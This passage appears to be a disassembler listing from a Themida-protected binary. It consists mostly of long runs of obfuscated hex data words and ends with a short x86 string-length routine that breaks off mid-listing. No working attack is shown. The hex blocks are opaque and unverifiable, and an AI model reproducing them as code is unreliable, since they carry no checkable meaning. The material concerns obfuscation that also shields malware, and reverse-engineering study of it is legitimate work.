0A4C1FCC2h, 0F018911h, 18Bh, 0C233F500h dd 8611EA81h dd 41897531h, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 68633CF0h, 30399589h, 8D0F062Bh dd 6, 32559D09h, 0BD83062Bh, 62B07EDh, 33840F00h, 89000000h dd 2B07E5B5h, 0E995FF06h, 6A062B0Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0FBC6C356h dd 0F3812CD1h, 25A0537Dh, 0BD834FB2h, 62B2019h, 3C850F01h dd 8B000000h, 2B12359Dh, 31E906h, 85890000h, 62B3381h dd 5F15B58Bh, 6C7062Bh, 0 dd 5D0DB58Bh, 6C7062Bh, 0 dd 0E9958BCFh, 8B062B2Bh, 0B8BA66DEh, 0CD958B4Eh, 83062B32h dd 2B1835BDh, 840F0006h, 134h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 49C35747h, 0F58A0860h, 0BE8h dd 0F59C5D00h, 386BC764h, 0BE49701Ah, 182D9589h, 835B062Bh dd 2B25A5BDh, 850F0106h, 0BDh, 66DAB70Fh, 8D8BDF8Bh, 62B4E30h dd 0F1BD89F5h, 0C6062B2Dh, 6A0001h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8E87E0C3h dd 99C87868h, 89EA8045h, 0D6BF0F60h, 9DE53168h, 48C0FE3h dd 66000000h, 815997BAh, 1B4F2404h, 95891C62h, 62B0545h dd 95FFFF6Ah, 62B28C5h, 6DCA8166h, 0BD89617Ah, 62B01FDh dd 1F7595FFh, 9D89062Bh, 62B2689h, 4E308D8Bh, 8589062Bh dd 62B01F5h, 6A01FEh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 7C59F8C3h, 305FA29Dh, 0F5E3BBBDh dd 95315B05h, 62B0CB9h, 0A851C9BBh, 71BD831Ch, 1062B24h dd 26850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 64844FC3h, 2870Fh, 0DF8B0000h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 16CA4AC3h, 14E8h, 7B992600h, 6292881Ch, 33D49D66h, 17E15EEDh dd 0F5D794C2h, 11E9ADh, 0EC2F0000h, 2D9410ACh, 0D93F155Fh dd 9345C10Bh, 5B8779D6h, 1F9BD83h, 7500062Bh, 89BD8309h dd 62B16h, 53501A74h, 858BC08Bh, 62B1B81h, 1B818589h, 9D8D062Bh dd 62DBF75h, 585BD3FFh, 1689BD83h, 7400062Bh, 8B535018h dd 2B1B8185h, 81858906h, 8D062B1Bh, 2DBC649Dh, 5BD3FF06h dd 6A9AB358h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0FD7FC356h, 373079D9h, 8B3F0B3Fh dd 458D89C0h, 83062B17h, 2B1835BDh, 850F0006h, 6Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 51C35141h, 0FDF284Ch dd 158Dh, 0DE800h, 3E4A0000h, 6D2E3F74h, 0E152FE7Ah, 8A59F343h dd 0D88A5BD8h, 2E1DBD83h, 0F00062Bh, 2284h, 7692BA00h dd 0E852434Bh, 0Fh, 85BABDA9h, 0B61F2027h, 9AC295F1h, 814AFBE1h dd 812481CAh, 835B5A43h, 2B1835BDh, 840F0006h, 2Eh, 2C19D8Bh dd 0BD83062Bh, 62B0BEDh, 1B840F00h, 0F000000h, 158Ah, 0F880F00h dd 0E8000000h, 9, 0E474EDE1h, 0B7A24556h, 0BD835A8Eh, 62B1835h dd 37840F00h, 81000000h, 0FF1B9DDBh, 0EDBD8306h, 62B0Bh dd 24840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 7BC342C3h, 1067E60Eh, 0BD8396D9h dd 62B1835h, 43840F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 10CCC356h dd 9436F974h, 0A5C996BBh, 870FFC8Ah, 3, 83D9B70Fh, 2B302DBDh dd 840F0006h, 6, 17698529h, 0BD83062Bh, 62B1835h, 27840F00h dd 60000000h, 8BCFBF0Fh, 0BD8361C3h, 62B1639h, 13840F00h dd 89000000h, 2B0A65BDh, 9195FF06h, 52062B21h, 0E8BDB1BBh dd 0C08B5B3Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 57C35242h, 58B09276h, 0C88370F4h, 0F9BD833Ah, 62B01h dd 0BD830975h, 62B1689h, 501A7400h, 8BC08B53h, 2B347985h dd 79858906h, 8D062B34h, 2DBFDC9Dh, 5BD3FF06h, 89BD8358h dd 62B16h, 53501874h, 3479858Bh, 8589062Bh, 62B3479h, 0BC7D9D8Dh dd 0D3FF062Dh, 0DE8585Bh, 8C000000h, 0AC3D8538h, 0BA25A273h dd 4C30E85Dh, 938E60BBh, 0D38A5B09h, 9E9h, 17C8B600h, 0BFA89A13h dd 0C08BDA80h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 87C35040h, 0EA96FA6Ch, 7A90691Eh, 2399D89h, 0BD83062Bh dd 62B1835h, 0DC840F00h, 6A000003h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 855BC357h dd 519D0BFEh, 83062B30h, 2B1535BDh, 840F0206h, 16h, 83D9BF0Fh dd 2B2019BDh, 850F0106h, 6, 2C19BD29h, 8060062Bh, 8D8B39CBh dd 62B4E30h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 2AC35545h, 0EFE802D6h, 6656735Eh, 9134F281h, 6601FE5Ah dd 68E03EBBh, 0FF94B5Ch, 0DC243481h, 6A0FF94Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 8BAFC353h, 2B209195h, 6AFF6A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 5F17C351h dd 5DC8CC9Fh, 35BD31BEh, 0FF062B2Fh, 2B28C595h, 0C2816606h dd 29615AF0h, 2B02D59Dh, 25BD8D06h, 6A062B0Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0D0C8C357h, 9F4491AAh, 811C4F8Bh, 0E1D29BD3h, 8B016A1Ah dd 2B09999Dh, 0F609106h, 38Fh, 0FE8B6600h, 60605061h, 890Fh dd 8B660000h, 666061CAh, 66C2BBBEh, 617AA4BAh, 8A0F9161h dd 8, 299D8B52h, 5A062B0Dh, 1235958Bh, 858D062Bh, 62E4679h dd 2BE9BD09h, 0D0FF062Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 2BC35646h, 0A40052D7h, 8BD786BBh, 810F204Fh dd 0 dd 11E9036Ah, 2000000h, 25F68296h, 67697FB6h, 7409B1FDh dd 9C075CE0h, 665038B2h, 898B0BBBh, 0D780240Ch, 79858D0Fh dd 80062E46h, 958B99EEh, 62B06A1h, 958BD0FFh, 62B2091h dd 0F25BD8Dh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 979A10C3h, 0A00514C2h, 5B67CDFh dd 521C4F8Bh, 6A5BDF8Bh, 0DBDE8001h, 240C8950h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 8DFAA7C8h dd 2E467985h, 0D58D8906h, 0FF062B11h, 0BE9D0h, 0E03F0000h dd 1D5C36B1h, 1984B2F1h, 204F8B8Fh, 5BEF8050h, 0DE85Ah dd 26DA0000h, 542166FEh, 0ACF1CF55h, 0F14AEA7h, 486h, 0BABA6600h dd 36A5BBEh, 11E9h, 0AD74F400h, 6688F071h, 41A81C9Bh, 0FA481C3Bh dd 6691257Ah, 0E850D18Bh, 14h, 0D45533BCh, 0C25428CBh dd 9CDD2FA3h, 49069375h, 0F7E0D5E4h, 8E9h, 0CF063100h dd 8F559498h, 81915AD8h, 98F2CCDBh, 79858D17h, 0F5062E46h dd 0F78AD0FFh, 4E308D8Bh, 8D09062Bh, 62B2095h, 8D2901FEh dd 62B15D9h, 4E30858Bh, 9D29062Bh, 62B21EDh, 6A00FEh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 6DEA4FC3h, 5EA584BEh, 6AF5C9A9h, 53006A01h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0D22F725Bh dd 37DB2776h, 0CE9h, 61414E00h, 221C35C6h, 33E3FF99h, 4E832h dd 9FFF0000h, 8B50FFFFh, 66042444h, 8B6757BAh, 0DF8B6000h dd 0E85A5060h, 0Ch, 47DE7DD4h, 541A94C7h, 0CFE29CF4h, 8961615Eh dd 50042444h, 0D68B6652h, 94B6310Fh, 8958585Ah, 2B086595h dd 83858D06h, 6A062E46h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 41A5C353h, 9D8B8C0Eh dd 62B006Dh, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0EF801AC3h, 0C2806D06h, 9D8D89F5h dd 83062B35h, 2B2E1DBDh, 840F0006h, 0F6h, 8E9h, 8AAD2F00h dd 0D9CD5B8h, 1BD83EBh, 1062B0Ah, 0DC850Fh, 81660000h dd 8DD243CBh, 2E468D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 1BBA6621h, 6A036A6Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0AA7BC351h, 0D08BC3AAh, 0CF80016Ah, 0E9D1FF79h dd 8, 12B2BF0Ah, 517968C5h, 5E9h, 8E04F300h, 16AFB8Fh dd 6A016AFCh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 473AC350h, 6AD9AC23h, 123DBD29h dd 0E281062Bh, 3278DDD1h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 25A982C3h, 8BE8CE7Fh dd 0DA8B6617h, 306E11E8h, 0CE9FAh, 0C9E00000h, 0E8E6B91Fh dd 195C1253h, 206ADE37h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 12C35343h, 0F734DFE8h, 0E90934C9h, 13h dd 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 6A6D94D0h dd 599529FFh, 0FF062B01h, 2B28C595h, 2850F06h, 8B000000h dd 0B8DAh, 0FF80000h, 1285h, 7E800h, 9DCC0000h, 55B80A32h dd 14A6BB4Bh, 0B5A46C2h, 40840FC0h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 322AC357h, 0E7A33AA1h, 0E1BD8334h, 62B34h, 11840Fh dd 9D8B0000h, 62B2E49h, 0F9D95FFh, 8166062Bh, 8BF4DFCAh dd 2B2B3985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 9523618Ch, 62B3355h, 0BA0000C6h dd 6C19E830h, 71BB6658h, 0D98C66C7h, 7E8F8h, 0BC690000h dd 74EFDE15h, 3D9589FEh, 5A062B0Bh, 0F04C1F6h, 3384h, 0DF8B6600h dd 2BE9h, 2840F00h, 8A000000h, 0DB58BF0h, 66062B26h, 819610BBh dd 1180C6h, 3820F00h, 66000000h, 6C7D38Bh, 0 dd 5BCDB657h, 0D9958B5Eh, 0F062B1Bh, 0F883D1BFh, 0D4840F00h dd 0F00000Ah, 689h, 7ADA8100h, 835ABA0Ch, 850F01F8h, 14Ah dd 93F6EABAh, 0B84Fh, 0FA8A0000h, 840FC00Bh, 0D0h, 8395CF80h dd 840F01F8h, 0FCh, 21798D09h, 0F883062Bh, 5C840F03h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 8F5C356h, 0B8BA4D22h, 0 dd 32D58D89h, 0BD8D062Bh, 5B89E0h, 8721D7BAh, 6AE7FF42h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CD7CC357h, 66576515h, 0B85BDE8Bh, 1, 9E5958Bh dd 0FE9062Bh, 0FC000000h, 43623127h, 6CF84A6Ah, 0A464B4F5h dd 0BD8D942Fh, 5B89E0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 4EC35545h, 0EDA3087Ch, 0E8D0168Eh, 0E7FFD08Ah dd 18B1BD89h, 8D29062Bh, 62B1C3Dh, 44BCBD8Dh, 8166062Bh dd 0E909A5DAh, 2BCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 50C35747h, 0CDEFADB2h, 8D89F9D6h, 62B0EDDh dd 4E8B85C7h, 5062Bh, 0CE800000h, 5B8C5h, 800F0000h, 0Ch dd 68E0Fh, 958B0000h, 62B3055h, 8F1E9h, 8B665700h, 0F8835ADEh dd 0D0850F02h, 0BA000000h, 727DA5F3h, 2F59D8Bh, 0B8062Bh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0AF5DC353h, 0C00B48A4h, 69840Fh dd 0BB570000h, 29B1E5EDh, 1F8835Bh, 0FF82840Fh, 958BFFFFh dd 62B2EE1h, 0F03F883h, 0FFFEE284h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0E05F92BFh dd 9C7C2291h, 859D8BEAh, 50062B08h, 0BFD38166h, 0B85A20h dd 0FC000000h, 89E0BD8Dh, 8531005Bh, 62B0D31h, 8166E7FFh dd 8DCCD0E2h, 2B46B4BDh, 21958B06h, 0E9062B0Ch, 1ACh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8AC35747h, 83D58A0Eh dd 850F03F8h, 37h, 4848BD8Dh, 6A062Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0CCE1BC3h dd 9523C994h, 62B0ABDh, 153E9h, 89BD8900h, 83062B2Eh, 850F05F8h dd 59h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh dd 32C35747h, 0A3728794h, 0B510931Fh, 118D8988h, 0E9062B2Ch dd 79Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0A6C35747h, 0FB7DCB27h, 89E87D26h, 2B2BCD8Dh, 6F88306h dd 38850Fh, 958B0000h, 62B1105h, 4A40BD8Dh, 6A062Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0F8C6DC3h, 0F55D0978h, 0AFE9h, 0AE24BB00h, 0F8831C4Dh dd 4D850F07h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0F774C357h, 425E5C89h dd 0D18B6687h, 0BD8DE4B2h, 62B2201h, 8A0FD18Bh, 0Dh, 0CE816660h dd 0D181E32Bh, 28437E8Fh, 158E961h, 0DB810000h, 3B2FCA1Eh dd 0F0AF883h, 4B85h, 6860F00h, 8B000000h, 2B1CB59Dh, 38BD8D06h dd 6A062B4Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0AFF7C353h, 683ED6BEh, 0E9815648h dd 10h, 1BD952Bh, 5E9062Bh, 36000000h, 6F8603EDh, 118D3157h dd 0B9062B24h, 23E1EBE5h, 83D88B66h, 840F003Fh, 0E0h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C4C35343h, 1F07F551h dd 0E9E656D7h, 11h, 31D20030h, 0F284DDA7h, 2776EC1h, 0D99F92FFh dd 8B0F30ABh, 2B2F619Dh, 6AC9D106h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 9BEAC356h dd 3F6AA680h, 8DB1EA81h, 6A470D25h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 8B00C353h dd 590DEA6Fh, 13E9h, 54DD3700h, 342F44A1h, 785ED287h, 39E1286Eh dd 0B08280D7h, 7E9h, 0ABDDCC00h, 0DF48E7A7h, 0FFFF42E9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0CF358B96h, 53F698D1h, 9D8B45E0h, 62B0EC1h dd 0D281665Fh, 0BD89F989h, 62B4E34h, 97EA8166h, 68D0F40h dd 31000000h, 2B0CED8Dh, 58D8D06h, 81062B0Eh, 5CB6D3h dd 0A1B5FF44h, 6A062B0Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 6107C350h, 1101B589h dd 9D8B062Bh, 62B1571h, 0B12F858Dh, 8D50062Dh, 2B55F0BDh dd 0A8D8D06h, 0B8062B6Fh, 54831ABCh, 730CF2Bh, 4947C8D0h dd 0B58DF875h, 62B6E98h, 6F228D8Dh, 0CF2B062Bh, 0C933A4F3h dd 0B8h, 74C00B00h, 0E1BD8346h, 62B34h, 95FF0674h, 62B0F9Dh dd 4E34B58Bh, 858D062Bh, 62DB12Fh, 858DD0FFh, 62B4448h dd 85C7D0FFh, 62B1999h, 1, 15DA58Bh, 0B58B062Bh, 62B09BDh dd 615AD8Bh, 0C033062Bh, 8B000CC2h, 2B1E259Dh, 7E806h dd 0BAE00000h, 0E3BD284Ah, 0DDBB66E9h, 0BD835B87h, 62B1D49h dd 14840F00h, 0E9000000h, 7, 0A8ABB0DBh, 0FF82C006h, 2B351195h dd 83D98B06h, 2B26BDBDh, 850F0006h, 188h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 14h, 67C35141h, 4D6AE381h dd 958B1CE1h, 62B0A05h, 0A01BD83h, 0F01062Bh, 15385h, 0A9958B00h dd 83062B1Ch, 2B08B5BDh, 840F0006h, 140h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 16C35646h, 0BD831318h dd 62B4E87h, 15840F00h, 81000001h, 191720EAh, 40E6803Ch dd 0B12F858Dh, 8D89062Dh, 62B2409h, 4E34B58Bh, 0DBBB062Bh dd 0FF78C20Bh, 10E9D0h, 6F680000h, 2E8C36E1h, 42BB70BCh dd 0C8811C02h, 0DE8B9AF8h, 332D85C6h, 8B54062Bh, 2B272595h dd 0AC9C6806h, 13E9E39Eh, 91000000h, 1B01C310h, 59041403h dd 68393860h, 0A7E88A7Dh, 3481FC5Ah, 0D0126824h, 1DB5FF1Ch dd 0B3062B0Bh, 6830F42h, 8B000000h, 2B0FB995h, 25858D06h dd 6A062B3Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0E74AC351h, 0F08A3DF5h, 0FE8D0FFh dd 0BF000000h, 66718B72h, 0DC3FF262h, 9638A766h, 8B669318h dd 6A5AD8h, 0BE9h, 0B40CEE00h, 2F07453Dh, 0B02ACE51h, 66FF6AF8h dd 979EE381h, 0B589D0FFh, 62B3095h, 861B5FFh, 6A062Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 38278DC3h, 5AEACA16h, 0A195FF61h, 0BA062B0Eh, 148304BCh dd 4E34B58Bh, 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0D9A21FC3h, 8DDB95D0h, 55006AC3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0B58B0BD4h, 62B2B39h, 802DF3BBh, 0FF60B5Ah, 2D84h, 0D3BF0F00h dd 6A0006C6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 50F1C350h, 97184CAh, 2D3D9589h dd 8589062Bh, 62B4E3Ch, 21B58529h, 0F883062Bh, 0D4840F00h dd 0E9000002h, 14h, 0EE2329ABh, 0A5C65157h, 7FD5ED48h dd 0E5A1573Eh, 90B81B1h, 0B8h, 39BD3100h, 83062B18h, 840F00F8h dd 105h, 2F883F5h, 0E5850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9A83DC3h dd 13h, 812417C3h, 0B4B93D00h, 0DBC3E248h, 0A39D2FE3h dd 0B6B45870h, 0B7858D88h, 6A062B44h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 14C3C352h dd 5AE5F044h, 21EF7132h, 13E8h, 84A11400h, 0E873B2C6h dd 42AA63F6h, 289700DBh, 3453160h, 1F71958Bh, 0E85B062Bh dd 12h, 0BDA9CA9Fh, 202785BAh, 95F1B61Fh, 0FBE19AC2h, 85010F4Ah dd 62B114Dh, 9292D5Ah, 8C0F0000h, 3, 5039E680h, 8ABDADBAh dd 2404894Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 6EC35646h, 0B7778990h, 0F1932ECDh, 5B5BBB66h, 51B509C3h dd 0B8062B20h, 0 dd 350D958Bh, 0A8E9062Bh, 8B000001h, 2B0B719Dh, 1B806h dd 95230000h, 62B081Dh, 44BCBD8Dh, 958B062Bh, 62B1C71h dd 0ABE9h, 3FBB6600h, 2F88305h, 16850Fh, 9D8B0000h, 62B1AF9h dd 46B4BD8Dh, 8B66062Bh, 8AE9DFh, 0DA8A0000h, 0F03F883h dd 4885h, 8935B700h, 2B29FD95h, 48BD8D06h, 6A062B48h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D59BC350h, 0DE9h, 0C219E100h, 57295776h, 45E4F962h dd 3DE97358h, 1000000h, 2B0E0195h, 5F88306h, 2E850Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8BA715C3h, 2B2D2D95h, 58E906h, 9D330000h, 62B0521h dd 0B9F2B257h, 23E1EBE5h, 28E18589h, 3F83062Bh, 3B840F00h dd 8B000000h, 2B19919Dh, 6A0F3006h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 4361C356h dd 0FC630B73h, 54B3C9D1h, 0E963B247h, 0FFFFFFC2h, 1E258589h dd 0F883062Bh, 80850F05h, 0E9000000h, 0Ch, 7B690B21h, 0EDE2DA4Ch dd 0A2A05237h, 60D98C66h, 7E9h, 313C3E00h, 7075E3E9h, 21F5B58Bh dd 0F661062Bh, 850F04C1h, 3Eh, 6FF38166h, 0B8E8h, 958B0000h dd 62B21B5h, 3AE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0DCC150CEh, 9D22F8C0h dd 193D8D89h, 858B062Bh, 62B0191h, 1CC58589h, 0E0FF062Bh dd 83D8BF0Fh, 2B0EA1BDh, 850F0006h, 12Bh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 62C35646h, 13E8h dd 0CD10BB00h, 98AA4E1h, 0D7F8FBBFh, 60405679h, 95922D99h dd 805A95B7h, 605028C6h, 11B4A6B0h, 24048961h, 0C64FF380h dd 2B332D85h, 9D8B4506h, 62B2475h, 68D0B70Fh, 1996FC77h dd 0FABB460h, 283h, 615A5200h, 0F2240481h, 6A74DB6Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 521CC350h, 0D8E28166h, 11E95B51h, 46000000h, 0C57D058Bh dd 61AFC009h, 84FA0AA4h, 5927D4A1h, 0B1DB5FFh, 6A062Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FC1F2AC3h, 0BE960h, 324E0000h, 2A29D05Dh, 72FCF771h dd 43DF811Ah, 6118749Ch, 3C25858Dh, 9D29062Bh, 62B2BD9h dd 820Fh, 0D0FF0000h, 89DE8B66h, 2B0EA185h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 2EAA1799h, 0F5AEFD32h, 7D9D8B58h, 83062B2Eh, 2B4E8BBDh dd 840F0006h, 5Bh, 26EB8151h, 5B0D5769h, 861B5FFh, 6A062Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 312039C3h, 0FFF8BB05h, 2B0EA195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0E46FE55Fh dd 11E5958Bh, 83F8062Bh, 850F00F8h, 14Dh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0F3C35141h, 7B983C57h dd 7DBD2ACDh, 0A9B5894Dh, 83062B10h, 2B2C89BDh, 840F0006h dd 0B3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 46C35545h, 59EA838Ah, 93154BDEh, 5E9A6h, 2A680000h dd 0FF15B84Ah, 2B2C89B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0FDA033B9h dd 604235C4h, 758D8956h, 59062B07h, 545B58Bh, 0B861062Bh dd 1, 2055958Bh, 4AE9062Bh, 6A000002h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 6934C356h dd 1BACC55Eh, 0EE9D30Ch, 0BB000000h, 4D074315h, 0D719BCCDh dd 0C4AD99E0h, 0D2BF0F65h, 0FFDFBF0Fh, 2B0861B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0B6BF89Fh, 861B5FFh, 8166062Bh, 0FF313FF2h, 2B0EA1B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 8B06B56Eh, 0B2E9C545h, 8B000001h, 2B15F595h dd 6A5F06h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0BFE2ACC3h, 75BA8D1Ah, 95890FC1h, 62B055Dh dd 2BDDBD83h, 0F00062Bh, 0E585h, 0E5958900h, 0C6062B00h dd 2B332D85h, 870F4D06h, 6, 16058589h, 0BD68062Bh, 0E978038Dh dd 14h, 0C7E93D30h, 0E7F65D6h, 6C192322h, 0D8E90424h, 533774B6h dd 0EB240481h, 0F2C31E8h, 1882h, 13E900h, 0 dd 0C5F66202h, 0B9D5AFF4h, 9CDAEE5Ch, 0E969B9E8h, 19B5FF4Bh dd 0E8062B2Fh, 9, 729CA443h, 0DB615CFAh, 7E9F9h, 71B30000h dd 0F97A261Eh, 858D5A0Ch, 62B3C25h, 3E49EB81h, 0D0FF0539h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FAC35040h dd 5A068206h, 2D019D95h, 0B21BD89h, 8166062Bh, 892E38F3h dd 2B2BDD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 4F1812F7h, 341D9D29h, 0B8062Bh, 0F000000h dd 0BD89DEBFh, 62B4E34h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 14C35141h, 5F73B7BDh, 0FA7FB11Bh, 1EACBA66h dd 840FC00Bh, 31h, 2EF59D8Bh, 46E9062Bh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0BA3C355h, 89CAC8B3h, 2B0EA9B5h, 0A1B5FF06h, 8D062B0Eh dd 2DB12F85h, 0BD78006h, 54E8BB90h, 66507740h, 8990D98Bh dd 2B2C1DBDh, 8D565006h, 2B55F0BDh, 668D8D06h, 0B8062B79h dd 748323BCh, 730CF2Bh, 4947C8D0h, 585EF875h, 2C89BD83h dd 7400062Bh, 0A58D8B06h, 33062B28h, 0B8C9h, 0C00B0000h dd 0A8840Fh, 0BD830000h, 62B34E1h, 0FF067400h, 2B0F9D95h dd 0B806h, 0C00B0000h, 0BD830975h, 62B4E3Ch, 83097401h dd 2B4E3CBDh, 0E750206h, 4E34B58Bh, 858D062Bh, 62DB12Fh dd 0BD83D0FFh, 62B1D49h, 0FF067400h, 2B351195h, 48858D06h dd 0FF062B44h, 35BD83D0h, 2062B15h, 0A58B2F75h, 62B015Dh dd 2C89858Bh, 489062Bh, 9985C724h, 1062B19h, 8B000000h dd 2B4E38B5h, 15AD8B06h, 0B8062B06h, 1, 0EB000CC2h, 9985C700h dd 1062B19h, 8B000000h, 2B015DA5h, 0BDB58B06h, 8B062B09h dd 2B0615ADh, 0C2C03306h, 0BD83000Ch, 62B1D49h, 830F7400h dd 2B3511BDh, 6740006h, 351195FFh, 0B58B062Bh, 62B4E34h dd 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0ABCE8033h, 0CE8h, 0EEBDF500h, 8F8CEDC9h dd 317988A9h, 0E281669Ch, 665A15B9h, 0BADE8Bh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 6B52C356h, 44F8F265h, 8B236194h, 2B022D9Dh dd 0DF8B5206h db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_544179 ; --------------------------------------------------------------------------- loc_544177: ; CODE XREF: Themida_:0054417Cj inc eax inc edi loc_544179: ; CODE XREF: Themida_:00544175j cmp byte ptr [edi], 0 jnz short loc_544177 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5441A8 ; --------------------------------------------------------------------------- loc_544185: ; CODE XREF: 